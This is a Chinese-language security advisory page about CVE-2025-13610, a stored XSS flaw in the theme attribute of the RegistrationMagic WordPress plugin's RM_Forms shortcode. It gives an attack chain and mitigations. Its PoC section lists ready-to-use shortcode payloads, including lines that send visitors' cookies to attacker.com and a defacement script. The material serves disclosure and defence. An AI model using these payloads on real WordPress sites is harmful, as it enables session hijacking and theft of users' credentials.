IPBUF安全漏洞报告
English
CVE-2025-13610 CVSS 6.4 中危

CVE-2025-13610: RegistrationMagic WordPress插件RM_Forms短代码存储型XSS漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-13610
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress

相关标签

CVE-2025-13610存储型XSSWordPress插件漏洞RegistrationMagicRM_Forms短代码跨站脚本攻击WordPress安全短代码注入

漏洞概述

CVE-2025-13610是WordPress插件RegistrationMagic中的一个高危安全漏洞。该插件是一款功能强大的自定义注册表单、用户注册、支付和用户登录解决方案,被广泛应用于WordPress网站的用户管理和注册流程。漏洞存在于插件的RM_Forms短代码功能中,由于对theme属性的输入清理和输出转义不足,导致攻击者可以在页面中注入恶意JavaScript代码。该漏洞的CVSS评分为6.4,属于中等严重程度。攻击者需要具有贡献者级别(Contributor)或更高的WordPress账户权限即可利用此漏洞。一旦攻击成功,注入的恶意脚本将在所有访问该页面的用户浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。此漏洞影响所有版本直至6.0.6.7,建议用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞是典型的存储型跨站脚本(Stored XSS)漏洞,存在于RegistrationMagic插件的RM_Forms短代码处理逻辑中。具体问题在于插件在处理shortcode的theme属性时,未能对用户输入进行充分的输入验证和输出转义。攻击者只需在RM_Forms短代码中构造恶意的theme属性值,即可将JavaScript脚本存储到数据库中。当其他用户访问包含该短代码的页面时,恶意脚本会作为页面内容的一部分被浏览器解析执行。漏洞利用条件相对宽松,攻击者需要具有至少贡献者级别的WordPress账户权限。攻击者可以利用此漏洞窃取管理员Cookie、修改页面内容、进行钓鱼攻击或传播恶意软件。由于是存储型XSS,攻击具有持久性,恶意代码会一直存在于页面中直到被手动清除。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和RegistrationMagic插件版本,确认版本号≤6.0.6.7
STEP 2
步骤2: 获取账户权限
攻击者获取WordPress贡献者级别或更高权限的账户,可通过账户注册、凭据盗取或社工手段获得
STEP 3
步骤3: 构造恶意短代码
攻击者在支持短代码的页面或文章中插入包含恶意JavaScript代码的RM_Forms短代码,利用theme属性注入XSS payload
STEP 4
步骤4: 存储恶意代码
由于插件缺乏输入过滤,恶意代码被存储到WordPress数据库中,成为页面内容的永久部分
STEP 5
步骤5: 触发执行
当其他用户(管理员、编辑、访客等)访问包含该短代码的页面时,恶意JavaScript在用户浏览器中执行
STEP 6
步骤6: 窃取敏感信息
攻击者通过注入的脚本窃取用户Cookie、会话令牌或其他敏感信息,实现会话劫持或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13610 PoC - RegistrationMagic Stored XSS via RM_Forms Shortcode // Author: Security Researcher // Date: 2025-12-15 // Method 1: Basic XSS via theme attribute in RM_Forms shortcode [RM_Forms theme='"><script>alert(document.cookie)</script>'] // Method 2: Cookie stealing payload [RM_Forms theme='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] // Method 3: Session hijacking payload [RM_Forms theme='"><script>document.location='https://attacker.com/hijack?session='+document.cookie</script>'] // Method 4: Defacement payload [RM_Forms theme='"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] // Note: Attacker needs Contributor role or higher to inject this shortcode // The XSS payload will execute when any user views the page containing the shortcode

影响范围

RegistrationMagic plugin ≤ 6.0.6.7

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)限制WordPress的投稿功能,审查所有新注册用户;2)使用Web应用防火墙(WAF)规则拦截包含可疑theme参数的请求;3)暂时禁用RM_Forms短代码功能或替换为其他安全插件;4)启用WordPress的自动更新功能,确保及时应用安全补丁;5)加强用户权限管理,确保只有可信用户具有编辑内容权限;6)定期检查网站文件和数据内容,监控异常变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表